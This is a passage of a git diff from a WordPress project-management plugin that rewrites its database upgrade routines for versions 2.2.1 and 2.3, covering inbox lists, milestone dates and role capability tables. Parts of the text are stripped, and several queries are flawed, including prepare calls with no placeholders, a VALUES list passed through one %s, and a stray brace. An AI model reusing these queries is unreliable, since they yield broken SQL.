- 'meta_key' => 'list-inbox', - 'project_id' => $project->id, - ]); - - if ( empty( $meta->meta_value ) ) { - - $list = Task_List::create([ - 'title' => __('Inbox', 'wedevs-project-manager'), - 'description' => __('This is a system default task list. Any task without an assigned tasklist will appear here.', 'wedevs-project-manager'), - 'order' => 999999, - 'project_id' => $project->id, - ]); - - $meta->meta_value = $list->id; - $meta->save(); - - } - - - } ); - - } -} +create_inbox_list(); + } + + public function create_inbox_list() { + $projects = Project::get(['id']); + + $projects->each( function( $project ) { + $meta = Meta::firstOrCreate([ + 'entity_id' => $project->id, + 'entity_type' => 'task_list', + 'meta_key' => 'list-inbox', + 'project_id' => $project->id, + ]); + + if ( empty( $meta->meta_value ) ) { + + $list = Task_List::create([ + 'title' => __('Inbox', 'wedevs-project-manager'), + 'description' => __('This is a system default task list. Any task without an assigned tasklist will appear here.', 'wedevs-project-manager'), + 'order' => 999999, + 'project_id' => $project->id, + ]); + + $meta->meta_value = $list->id; + $meta->save(); + + } + + + } ); + + } +} diff --git a/core/Upgrades/Upgrade_2_2_1.php b/core/Upgrades/Upgrade_2_2_1.php index ed9e2f883..2fe12d65f 100644 --- a/core/Upgrades/Upgrade_2_2_1.php +++ b/core/Upgrades/Upgrade_2_2_1.php @@ -1,35 +1,35 @@ -pm_update_milestone_duedate_meta(); - } - - function pm_update_milestone_duedate_meta() { - global $wpdb; - - $tb_meta = pm_tb_prefix() . 'pm_meta'; - - $query = $wpdb->prepare("SELECT id, meta_value FROM {$wpdb->prefix}pm_meta WHERE entity_type=%s AND meta_key=%s", 'milestone', 'achieve_date'); - - $results = $wpdb->get_results( $wpdb->prepare("SELECT id, meta_value FROM {$wpdb->prefix}pm_meta WHERE entity_type=%s AND meta_key=%s", 'milestone', 'achieve_date') ); - - foreach ( $results as $key => $meta ) { - $meta_value = maybe_unserialize( $meta->meta_value ); - - if ( is_object( $meta_value ) ) { - $date = date( 'Y-m-d H:i:s', strtotime( $meta_value->date ) ); - - $wpdb->update( $tb_meta, ['meta_value' => $date], ['id' => $meta->id] ); - } - } - } - -} +pm_update_milestone_duedate_meta(); + } + + function pm_update_milestone_duedate_meta() { + global $wpdb; + + $tb_meta = pm_tb_prefix() . 'pm_meta'; + + $query = $wpdb->prepare("SELECT id, meta_value FROM {$wpdb->prefix}pm_meta WHERE entity_type=%s AND meta_key=%s", 'milestone', 'achieve_date'); + + $results = $wpdb->get_results( $wpdb->prepare("SELECT id, meta_value FROM {$wpdb->prefix}pm_meta WHERE entity_type=%s AND meta_key=%s", 'milestone', 'achieve_date') ); + + foreach ( $results as $key => $meta ) { + $meta_value = maybe_unserialize( $meta->meta_value ); + + if ( is_object( $meta_value ) ) { + $date = date( 'Y-m-d H:i:s', strtotime( $meta_value->date ) ); + + $wpdb->update( $tb_meta, ['meta_value' => $date], ['id' => $meta->id] ); + } + } + } + +} diff --git a/core/Upgrades/Upgrade_2_3.php b/core/Upgrades/Upgrade_2_3.php index 9ff59f372..093f05416 100644 --- a/core/Upgrades/Upgrade_2_3.php +++ b/core/Upgrades/Upgrade_2_3.php @@ -1,730 +1,730 @@ -identifier . '_memory_exceeded', array( $this, 'memory_exceeded' ) ); - } - - function receive_heartbeat($response, $data) { - if( !isset($data['pm_migration_notice_2_3']) ) { - return $response; - } - $response['is_complete'] = get_option( 'pm_migration_notice_2_3' ); - $response['is_background_compelte'] = get_option( 'pm_db_migration_2_3' ); - $response['total_queue'] = get_option( 'pm_total_queue_2_3' ); - $response['total_queue'] = empty( $response['total_queue'] ) ? 1 : $response['total_queue']; - $response['completed_queue'] = get_option( 'pm_queue_complete_2_3' ); - $response['percentage'] = (100*$response['completed_queue'])/$response['total_queue']; - - return $response; - } - - - public function upgrade_init ( ) { - require_once ABSPATH . 'wp-admin/includes/upgrade.php'; - - $this->crate_capabilities_table(); - $this->crate_role_projects_table(); - $this->crate_role_project_capabilities_table(); - $this->crate_role_project_users_table(); - $this->crate_task_private_column(); - $this->crate_board_private_column(); - - $this->update_capabilities_table(); - $this->update_role_project_table(); - $this->update_role_project_capabilities(); - $this->update_role_project_users(); - - //$this->delete_queue_batch(); - $this->set_queue(); - - update_option( 'pm_migration_start_2_3', 'yes' ); - } - - public function notification() { - // delete_option( 'pm_migration_start_2_3' ); - // delete_option( 'pm_migration_notice_2_3' ); - // delete_option( 'pm_db_migration_2_3' ); - // delete_option( 'pm_total_queue_2_3' ); - // delete_option( 'pm_queue_complete_2_3' ); - // update_option( 'pm_db_version', '2.2.2' ); - // delete_option('pm_capabilities'); - // delete_option('update_role_project_table'); - // delete_option('update_role_project_capabilities'); - // delete_option('update_role_project_users'); - - $is_migrating = get_option( 'pm_migration_start_2_3' ); - - if( $is_migrating != 'yes' ) { - return; - } - - $home = home_url(); - $url_prefix = rest_get_url_prefix(); - $is_complete = get_option( 'pm_migration_notice_2_3' ); - $is_background_compelte = get_option( 'pm_db_migration_2_3' ); - $total_queue = get_option( 'pm_total_queue_2_3' ); - $total_queue = empty( $total_queue ) ? 1 : $total_queue; - $completed_queue = get_option( 'pm_queue_complete_2_3' ); - $percentage = intval( (100*$completed_queue)/$total_queue ); - - if( $completed_queue < 1 && $percentage < 1 && $total_queue > 0 ) { - $percentage = 20; - } - - if( $is_complete == 'complete' ) { - return; - } - - echo '
-
-
'; - ?> - - - get_memory_limit() * 0.5; // 90% of max memory - $current_memory = memory_get_usage( true ); - $return = false; - - if ( $current_memory >= $memory_limit ) { - $return = true; - } - - return $return; - } - - /** - * task funciotn run on background over time - * comes form WP_Background_Process abstruct - * @param $item - * @return - */ - function task( $item ) { - - - if ( $item['type'] == 'task' ) { - $is_private = $this->set_task_is_private( $item['id'] ); - - if ( $is_private ) { - $this->update_task_privacy( $item['id'] ); - } - } - - if ( $item['type'] == 'board' ) { - $is_private = $this->set_board_is_private( $item['id'] ); - - if ( $is_private ) { - $this->update_board_privacy( $item['id'] ); - } - } - - $query_completed = get_option( 'pm_queue_complete_2_3', 0 ); - $query_completed = $query_completed+1; - - update_option( 'pm_queue_complete_2_3', $query_completed ); - - return false; - } - - /** - * Complete function for WP_Background_Process - * - */ - function complete() { - update_option( 'pm_db_migration_2_3', 'complete' ); - } - - private function update_board_privacy( $id ) { - global $wpdb; - $tb_boards = $wpdb->prefix . 'pm_boards'; - - $query = "UPDATE $tb_boards SET `is_private` = %d WHERE $tb_boards.`id` = %d"; - $wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->prefix}pm_boards SET `is_private` = %d WHERE {$wpdb->prefix}pm_boards.`id` = %d", 1, $id ) ); - } - - private function update_task_privacy( $id ) { - global $wpdb; - $tb_tasks = $wpdb->prefix . 'pm_tasks'; - - $query = "UPDATE $tb_tasks SET `is_private` = %d WHERE $tb_tasks.`id` = %d"; - $wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->prefix}pm_tasks SET `is_private` = %d WHERE {$wpdb->prefix}pm_tasks.`id` = %d", 1, $id ) ); - } - - private function set_task_is_private( $id ) { - $private = $this->get_meta_value( $id, 'task' ); - - return $private == 1 ? true : false; - } - - private function set_board_is_private( $id ) { - $private = $this->get_board_meta_value( $id ); - - return $private == 1 ? true : false; - } - - private function get_board_meta_value( $id ) { - global $wpdb; - $tb_meta = $wpdb->prefix . 'pm_meta'; - - $query = "SELECT meta_value FROM {$wpdb->prefix}pm_meta - WHERE entity_id=%d - AND entity_type IN ('task_list', 'milestone', 'discussion_board') - AND meta_key=%s"; - - return $wpdb->get_var( $wpdb->prepare( "SELECT meta_value FROM {$wpdb->prefix}pm_meta - WHERE entity_id=%d - AND entity_type IN ('task_list', 'milestone', 'discussion_board') - AND meta_key=%s", $id, 'privacy' ) ); - } - - private function get_meta_value( $id, $type ) { - global $wpdb; - $tb_meta = $wpdb->prefix . 'pm_meta'; - - $query = "SELECT meta_value FROM {$wpdb->prefix}pm_meta - WHERE entity_id=%d - AND entity_type=%s - AND meta_key=%s"; - - return $wpdb->get_var( $wpdb->prepare( "SELECT meta_value FROM {$wpdb->prefix}pm_meta - WHERE entity_id=%d - AND entity_type=%s - AND meta_key=%s", $id, $type, 'privacy' ) ); - } - - private function set_queue() { - $tasks = $this->get_tasks_queue(); - $boards = $this->get_boards_queue(); - - $queues = array_merge( $tasks, $boards ); - - update_option( 'pm_total_queue_2_3', count( $queues ) ); - - foreach ( $queues as $queue ) { - $this->push_to_queue( $queue ); - } - - $this->save()->dispatch(); - } - - private function get_boards_queue() { - global $wpdb; - $queue = []; - $tb_tasks = $wpdb->prefix . 'pm_boards'; - - $ids = $wpdb->get_results( "SELECT id FROM {$wpdb->prefix}pm_boards}", ARRAY_A ); - - if ( is_wp_error( $ids ) ) { - return; - } - - $ids = wp_list_pluck( $ids, 'id' ); - $this->count_boards = count( $ids ); - - //pm_log('board_count', $this->count_boards); - foreach ( $ids as $id ) { - $id = intval( $id ); - if ( empty( $id ) ) { - continue; - } - $queue[] = [ 'id' => $id, 'type' => 'board' ]; - } - - return $queue; - } - - private function get_tasks_queue() { - global $wpdb; - $queue = []; - $tb_tasks = $wpdb->prefix . 'pm_tasks'; - $ids = $wpdb->get_results( "SELECT id FROM {$wpdb->prefix}pm_tasks", ARRAY_A ); - - if ( is_wp_error( $ids ) ) { - return; - } - - $ids = wp_list_pluck( $ids, 'id' ); - $this->count_tasks = count( $ids ); - - //pm_log('task_count', $this->count_tasks); - foreach ( $ids as $id ) { - $id = intval( $id ); - if ( empty( $id ) ) { - continue; - } - - $queue[] = [ 'id' => $id, 'type' => 'task' ]; - } - - return $queue; - } - - /** - * Get batch - * - * @return stdClass Return the first batch from the queue - */ - private function delete_queue_batch() { - global $wpdb; - - $table = $wpdb->options; - $column = 'option_name'; - - - if ( is_multisite() ) { - $table = $wpdb->sitemeta; - $column = 'meta_key'; - - $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; - $query = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->sitemeta WHERE meta_key LIKE %s ", $key ) ); - } else { - $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; - $query = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->options WHERE option_name LIKE %s ", $key ) ); - } - - } - - private function crate_task_private_column() { - global $wpdb; - $table = $wpdb->prefix . 'pm_tasks'; - $result = $wpdb->get_results ( $wpdb->prepare( "SHOW COLUMNS FROM {$wpdb->prefix}pm_tasks LIKE %s", 'is_private' ) ); - - if( !$result ) { - $wpdb->query( "ALTER TABLE {$wpdb->prefix}pm_tasks ADD `is_private` tinyint(2) unsigned default 0 AFTER `status`" ); - } - } - - private function crate_board_private_column() { - global $wpdb; - $table = $wpdb->prefix . 'pm_boards'; - $result = $wpdb->get_results ( $wpdb->prepare( "SHOW COLUMNS FROM {$wpdb->prefix}pm_boards LIKE %s", 'is_private' ) ); - - if( !$result ) { - $wpdb->query( "ALTER TABLE {$wpdb->prefix}pm_boards ADD `is_private` tinyint(2) unsigned default 0 AFTER `status`" ); - } - } - - private function crate_capabilities_table() { - - global $wpdb; - $table_name = $wpdb->prefix . 'pm_capabilities'; - - $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_capabilities ( - `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `name` varchar(100) NOT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - private function update_capabilities_table() { - global $wpdb; - - if( ! empty( get_option( 'pm_capabilities' ) ) ) { - return; - } - $table_name = $wpdb->prefix . 'pm_capabilities'; - $sql = "INSERT INTO {$wpdb->prefix}pm_capabilities (name) - VALUES - ('Message Create'), - ('Message Private'), - ('Task List Create'), - ('Task List Private'), - ('Milestone Create'), - ('Milestone Private'), - ('Task Create'), - ('Task Private'), - ('File Create'), - ('File Private')"; - - $wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->prefix}pm_capabilities (name) - VALUES - ('Message Create'), - ('Message Private'), - ('Task List Create'), - ('Task List Private'), - ('Milestone Create'), - ('Milestone Private'), - ('Task Create'), - ('Task Private'), - ('File Create'), - ('File Private')" ) ); - - update_option( 'pm_capabilities', 'done' ); - } - - private function crate_role_projects_table() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_role_project'; - - $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_role_project ( - `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `project_id` int(20) UNSIGNED NOT NULL, - `role_id` int(20) UNSIGNED NOT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - - dbDelta($sql); - } - - function update_role_project_table() { - if( ! empty( get_option( 'update_role_project_table' ) ) ) { - return; - } - - global $wpdb; - - $table = $wpdb->prefix . 'pm_projects'; - - $sql = "SELECT DISTINCT pj.id FROM {$wpdb->prefix}pm_projects as pj"; - - $projects = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT pj.id FROM {$wpdb->prefix}pm_projects as pj" ) ); - $projects = wp_list_pluck( $projects, 'id' ); - - $value = ''; - - foreach ( $projects as $id ) { - $value .= "($id, 1),"; - $value .= "($id, 2),"; - $value .= "($id, 3),"; - } - - $value = rtrim( $value, ',' ); - $table = $wpdb->prefix . 'pm_role_project'; - - $insert_query = "INSERT INTO {$wpdb->prefix}pm_role_project (project_id, role_id) - VALUES {$value}"; - - $wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->prefix}pm_role_project (project_id, role_id) - VALUES %s", $value ) ); - - update_option( 'update_role_project_table', 'done' ); - } - - private function crate_role_project_capabilities_table() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_role_project_capabilities'; - - $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_role_project_capabilities ( - `role_project_id` int(20) UNSIGNED NOT NULL, - `capability_id` int(20) UNSIGNED NOT NULL, - KEY `role_project_id` (`role_project_id`) - ) DEFAULT CHARSET=utf8"; - - - dbDelta($sql); - } - - private function update_role_project_capabilities() { - if( ! empty( get_option( 'update_role_project_capabilities' ) ) ) { - return; - } - - global $wpdb; - - $tb_projects = $wpdb->prefix . 'pm_projects'; - $tb_settings = $wpdb->prefix . 'pm_settings'; - $tb_role_projects = $wpdb->prefix . 'pm_role_project'; - $tb_role_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; - - $query = "SELECT pj.id, st.value FROM {$wpdb->prefix}pm_projects as pj - LEFT JOIN {$wpdb->prefix}pm_settings as st ON st.project_id=pj.id - WHERE st.key='capabilities'"; - - $results = $wpdb->get_results( $wpdb->prepare( "SELECT pj.id, st.value FROM {$wpdb->prefix}pm_projects as pj - LEFT JOIN {$wpdb->prefix}pm_settings as st ON st.project_id=pj.id - WHERE st.key='capabilities'" ) ); - - $new_reslts = []; - - foreach ( $results as $key => $result ) { - $new_reslts[$result->id] = maybe_unserialize( $result->value ); - } - - $query = "SELECT * FROM {$wpdb->prefix}pm_role_project"; - - $role_projects = $wpdb->get_results($wpdb->prepare( "SELECT * FROM {$wpdb->prefix}pm_role_project" ) ); - - foreach ( $role_projects as $key => $role_project ) { - $project_id = $role_project->project_id; - - if ( $role_project->role_id == 2 ) { - if( !empty( $new_reslts[$project_id] ) ) { - $caps = $new_reslts[$project_id]['co_worker']; - foreach ( $caps as $cap_key => $cap ) { - - if ( $cap == 'true' || $cap === true ) { - $cap_id = $this->get_cap_id( $cap_key ); - $role_project->caps[] = $cap_id; - } - - } - } else { - $role_project->caps = [1,2,3,4,5,6,7,8,9,10]; - } - } - - if ( $role_project->role_id == 3 ) { - if( !empty( $new_reslts[$project_id] ) ) { - $caps = $new_reslts[$project_id]['client']; - foreach ( $caps as $cap_key => $cap ) { - - if ( $cap == 'true' || $cap === true ) { - $cap_id = $this->get_cap_id( $cap_key ); - $role_project->caps[] = $cap_id; - } - - } - } else { - $role_project->caps = [1,3,7,5,9]; - } - } - - if ( $role_project->role_id == 1 ) { - $role_project->caps = [1,2,3,4,5,6,7,8,9,10]; - } - } - - $query_string = ''; - - foreach ( $role_projects as $key => $role_project ) { - if ( ! empty( $role_project->caps ) ) { - foreach ( $role_project->caps as $key => $cap ) { - $query_string .= "($role_project->id, $cap),"; - } - } - } - - $value = rtrim( $query_string, ',' ); - - $insert_query = "INSERT INTO {$wpdb->prefix}pm_role_project_capabilities (role_project_id, capability_id) - VALUES {$value}"; - - $wpdb->query( $wpdb->prepare("INSERT INTO {$wpdb->prefix}pm_role_project_capabilities (role_project_id, capability_id) - VALUES %s", $value ) ); - - update_option( 'update_role_project_capabilities', 'done' ); - - } - - private function crate_role_project_users_table() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_role_project_users'; - - $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_role_project_users ( - `role_project_id` int(20) UNSIGNED NOT NULL, - `user_id` int(20) UNSIGNED NOT NULL, - KEY `role_project_id` (`role_project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function update_role_project_users() { - if( ! empty( get_option( 'update_role_project_users' ) ) ) { - return; - } - global $wpdb; - - $tb_role_users = $wpdb->prefix . 'pm_role_user'; - $tb_role_projects = $wpdb->prefix . 'pm_role_project'; - $tb_new_role_user = $wpdb->prefix . 'pm_role_project_users'; - - $query = "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id - FROM {$wpdb->prefix}pm_role_user as ru - LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id - WHERE ru.role_id=2 AND rp.role_id=2"; - - $client_projects = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id - FROM {$wpdb->prefix}pm_role_user as ru - LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id - WHERE ru.role_id=2 AND rp.role_id=2" ) ); - - $query = "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id - FROM {$wpdb->prefix}pm_role_user as ru - LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id - WHERE ru.role_id=3 AND rp.role_id=3"; - - $co_worker_projects = $wpdb->get_results($wpdb->prepare( "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id - FROM {$wpdb->prefix}pm_role_user as ru - LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id - WHERE ru.role_id=3 AND rp.role_id=3" ) ); - - $query = "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id - FROM {$wpdb->prefix}pm_role_user as ru - LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id - WHERE ru.role_id=1 AND rp.role_id=1"; - - $manager_projects = $wpdb->get_results($wpdb->prepare( "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id - FROM {$wpdb->prefix}pm_role_user as ru - LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id - WHERE ru.role_id=1 AND rp.role_id=1" )); - - $role_projects = array_merge( $client_projects, $co_worker_projects, $manager_projects ); - - $query_string = ''; - - foreach ( $role_projects as $key => $role_project ) { - $query_string .= "($role_project->role_project_id, $role_project->user_id),"; - } - - $value = rtrim( $query_string, ',' ); - - $insert_query = "INSERT INTO {$wpdb->prefix}pm_role_project_users (role_project_id, user_id) - VALUES {$value}"; - - $wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->prefix}pm_role_project_users (role_project_id, user_id) - VALUES %s", $value ) ); - - update_option( 'update_role_project_users', 'done' ); - } - - public function get_cap_id( $key ) { - - $cap = [ - 'create_message' => 1, //'Message Create', - 'view_private_message' => 2, //'Message Private', - 'create_list' => 3, //'Task List Create', - 'view_private_list' => 4, //'Task List Private', - 'create_milestone' => 5, //'Milestone Create', - 'view_private_milestone' => 6, //'Milestone Private', - 'create_task' => 7, //'Task Create', - 'view_private_task' => 8, //'Task Private', - 'create_file' => 9, //'File Create', - 'view_private_file' => 10, //'File Private', - ]; - - return $cap[$key]; - } - -} +identifier . '_memory_exceeded', array( $this, 'memory_exceeded' ) ); + } + + function receive_heartbeat($response, $data) { + if( !isset($data['pm_migration_notice_2_3']) ) { + return $response; + } + $response['is_complete'] = get_option( 'pm_migration_notice_2_3' ); + $response['is_background_compelte'] = get_option( 'pm_db_migration_2_3' ); + $response['total_queue'] = get_option( 'pm_total_queue_2_3' ); + $response['total_queue'] = empty( $response['total_queue'] ) ? 1 : $response['total_queue']; + $response['completed_queue'] = get_option( 'pm_queue_complete_2_3' ); + $response['percentage'] = (100*$response['completed_queue'])/$response['total_queue']; + + return $response; + } + + + public function upgrade_init ( ) { + require_once ABSPATH . 'wp-admin/includes/upgrade.php'; + + $this->crate_capabilities_table(); + $this->crate_role_projects_table(); + $this->crate_role_project_capabilities_table(); + $this->crate_role_project_users_table(); + $this->crate_task_private_column(); + $this->crate_board_private_column(); + + $this->update_capabilities_table(); + $this->update_role_project_table(); + $this->update_role_project_capabilities(); + $this->update_role_project_users(); + + //$this->delete_queue_batch(); + $this->set_queue(); + + update_option( 'pm_migration_start_2_3', 'yes' ); + } + + public function notification() { + // delete_option( 'pm_migration_start_2_3' ); + // delete_option( 'pm_migration_notice_2_3' ); + // delete_option( 'pm_db_migration_2_3' ); + // delete_option( 'pm_total_queue_2_3' ); + // delete_option( 'pm_queue_complete_2_3' ); + // update_option( 'pm_db_version', '2.2.2' ); + // delete_option('pm_capabilities'); + // delete_option('update_role_project_table'); + // delete_option('update_role_project_capabilities'); + // delete_option('update_role_project_users'); + + $is_migrating = get_option( 'pm_migration_start_2_3' ); + + if( $is_migrating != 'yes' ) { + return; + } + + $home = home_url(); + $url_prefix = rest_get_url_prefix(); + $is_complete = get_option( 'pm_migration_notice_2_3' ); + $is_background_compelte = get_option( 'pm_db_migration_2_3' ); + $total_queue = get_option( 'pm_total_queue_2_3' ); + $total_queue = empty( $total_queue ) ? 1 : $total_queue; + $completed_queue = get_option( 'pm_queue_complete_2_3' ); + $percentage = intval( (100*$completed_queue)/$total_queue ); + + if( $completed_queue < 1 && $percentage < 1 && $total_queue > 0 ) { + $percentage = 20; + } + + if( $is_complete == 'complete' ) { + return; + } + + echo '
+
+
'; + ?> + + + get_memory_limit() * 0.5; // 90% of max memory + $current_memory = memory_get_usage( true ); + $return = false; + + if ( $current_memory >= $memory_limit ) { + $return = true; + } + + return $return; + } + + /** + * task funciotn run on background over time + * comes form WP_Background_Process abstruct + * @param $item + * @return + */ + function task( $item ) { + + + if ( $item['type'] == 'task' ) { + $is_private = $this->set_task_is_private( $item['id'] ); + + if ( $is_private ) { + $this->update_task_privacy( $item['id'] ); + } + } + + if ( $item['type'] == 'board' ) { + $is_private = $this->set_board_is_private( $item['id'] ); + + if ( $is_private ) { + $this->update_board_privacy( $item['id'] ); + } + } + + $query_completed = get_option( 'pm_queue_complete_2_3', 0 ); + $query_completed = $query_completed+1; + + update_option( 'pm_queue_complete_2_3', $query_completed ); + + return false; + } + + /** + * Complete function for WP_Background_Process + * + */ + function complete() { + update_option( 'pm_db_migration_2_3', 'complete' ); + } + + private function update_board_privacy( $id ) { + global $wpdb; + $tb_boards = $wpdb->prefix . 'pm_boards'; + + $query = "UPDATE $tb_boards SET `is_private` = %d WHERE $tb_boards.`id` = %d"; + $wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->prefix}pm_boards SET `is_private` = %d WHERE {$wpdb->prefix}pm_boards.`id` = %d", 1, $id ) ); + } + + private function update_task_privacy( $id ) { + global $wpdb; + $tb_tasks = $wpdb->prefix . 'pm_tasks'; + + $query = "UPDATE $tb_tasks SET `is_private` = %d WHERE $tb_tasks.`id` = %d"; + $wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->prefix}pm_tasks SET `is_private` = %d WHERE {$wpdb->prefix}pm_tasks.`id` = %d", 1, $id ) ); + } + + private function set_task_is_private( $id ) { + $private = $this->get_meta_value( $id, 'task' ); + + return $private == 1 ? true : false; + } + + private function set_board_is_private( $id ) { + $private = $this->get_board_meta_value( $id ); + + return $private == 1 ? true : false; + } + + private function get_board_meta_value( $id ) { + global $wpdb; + $tb_meta = $wpdb->prefix . 'pm_meta'; + + $query = "SELECT meta_value FROM {$wpdb->prefix}pm_meta + WHERE entity_id=%d + AND entity_type IN ('task_list', 'milestone', 'discussion_board') + AND meta_key=%s"; + + return $wpdb->get_var( $wpdb->prepare( "SELECT meta_value FROM {$wpdb->prefix}pm_meta + WHERE entity_id=%d + AND entity_type IN ('task_list', 'milestone', 'discussion_board') + AND meta_key=%s", $id, 'privacy' ) ); + } + + private function get_meta_value( $id, $type ) { + global $wpdb; + $tb_meta = $wpdb->prefix . 'pm_meta'; + + $query = "SELECT meta_value FROM {$wpdb->prefix}pm_meta + WHERE entity_id=%d + AND entity_type=%s + AND meta_key=%s"; + + return $wpdb->get_var( $wpdb->prepare( "SELECT meta_value FROM {$wpdb->prefix}pm_meta + WHERE entity_id=%d + AND entity_type=%s + AND meta_key=%s", $id, $type, 'privacy' ) ); + } + + private function set_queue() { + $tasks = $this->get_tasks_queue(); + $boards = $this->get_boards_queue(); + + $queues = array_merge( $tasks, $boards ); + + update_option( 'pm_total_queue_2_3', count( $queues ) ); + + foreach ( $queues as $queue ) { + $this->push_to_queue( $queue ); + } + + $this->save()->dispatch(); + } + + private function get_boards_queue() { + global $wpdb; + $queue = []; + $tb_tasks = $wpdb->prefix . 'pm_boards'; + + $ids = $wpdb->get_results( "SELECT id FROM {$wpdb->prefix}pm_boards}", ARRAY_A ); + + if ( is_wp_error( $ids ) ) { + return; + } + + $ids = wp_list_pluck( $ids, 'id' ); + $this->count_boards = count( $ids ); + + //pm_log('board_count', $this->count_boards); + foreach ( $ids as $id ) { + $id = intval( $id ); + if ( empty( $id ) ) { + continue; + } + $queue[] = [ 'id' => $id, 'type' => 'board' ]; + } + + return $queue; + } + + private function get_tasks_queue() { + global $wpdb; + $queue = []; + $tb_tasks = $wpdb->prefix . 'pm_tasks'; + $ids = $wpdb->get_results( "SELECT id FROM {$wpdb->prefix}pm_tasks", ARRAY_A ); + + if ( is_wp_error( $ids ) ) { + return; + } + + $ids = wp_list_pluck( $ids, 'id' ); + $this->count_tasks = count( $ids ); + + //pm_log('task_count', $this->count_tasks); + foreach ( $ids as $id ) { + $id = intval( $id ); + if ( empty( $id ) ) { + continue; + } + + $queue[] = [ 'id' => $id, 'type' => 'task' ]; + } + + return $queue; + } + + /** + * Get batch + * + * @return stdClass Return the first batch from the queue + */ + private function delete_queue_batch() { + global $wpdb; + + $table = $wpdb->options; + $column = 'option_name'; + + + if ( is_multisite() ) { + $table = $wpdb->sitemeta; + $column = 'meta_key'; + + $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; + $query = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->sitemeta WHERE meta_key LIKE %s ", $key ) ); + } else { + $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; + $query = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->options WHERE option_name LIKE %s ", $key ) ); + } + + } + + private function crate_task_private_column() { + global $wpdb; + $table = $wpdb->prefix . 'pm_tasks'; + $result = $wpdb->get_results ( $wpdb->prepare( "SHOW COLUMNS FROM {$wpdb->prefix}pm_tasks LIKE %s", 'is_private' ) ); + + if( !$result ) { + $wpdb->query( "ALTER TABLE {$wpdb->prefix}pm_tasks ADD `is_private` tinyint(2) unsigned default 0 AFTER `status`" ); + } + } + + private function crate_board_private_column() { + global $wpdb; + $table = $wpdb->prefix . 'pm_boards'; + $result = $wpdb->get_results ( $wpdb->prepare( "SHOW COLUMNS FROM {$wpdb->prefix}pm_boards LIKE %s", 'is_private' ) ); + + if( !$result ) { + $wpdb->query( "ALTER TABLE {$wpdb->prefix}pm_boards ADD `is_private` tinyint(2) unsigned default 0 AFTER `status`" ); + } + } + + private function crate_capabilities_table() { + + global $wpdb; + $table_name = $wpdb->prefix . 'pm_capabilities'; + + $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_capabilities ( + `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `name` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + private function update_capabilities_table() { + global $wpdb; + + if( ! empty( get_option( 'pm_capabilities' ) ) ) { + return; + } + $table_name = $wpdb->prefix . 'pm_capabilities'; + $sql = "INSERT INTO {$wpdb->prefix}pm_capabilities (name) + VALUES + ('Message Create'), + ('Message Private'), + ('Task List Create'), + ('Task List Private'), + ('Milestone Create'), + ('Milestone Private'), + ('Task Create'), + ('Task Private'), + ('File Create'), + ('File Private')"; + + $wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->prefix}pm_capabilities (name) + VALUES + ('Message Create'), + ('Message Private'), + ('Task List Create'), + ('Task List Private'), + ('Milestone Create'), + ('Milestone Private'), + ('Task Create'), + ('Task Private'), + ('File Create'), + ('File Private')" ) ); + + update_option( 'pm_capabilities', 'done' ); + } + + private function crate_role_projects_table() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_role_project'; + + $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_role_project ( + `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `project_id` int(20) UNSIGNED NOT NULL, + `role_id` int(20) UNSIGNED NOT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + + dbDelta($sql); + } + + function update_role_project_table() { + if( ! empty( get_option( 'update_role_project_table' ) ) ) { + return; + } + + global $wpdb; + + $table = $wpdb->prefix . 'pm_projects'; + + $sql = "SELECT DISTINCT pj.id FROM 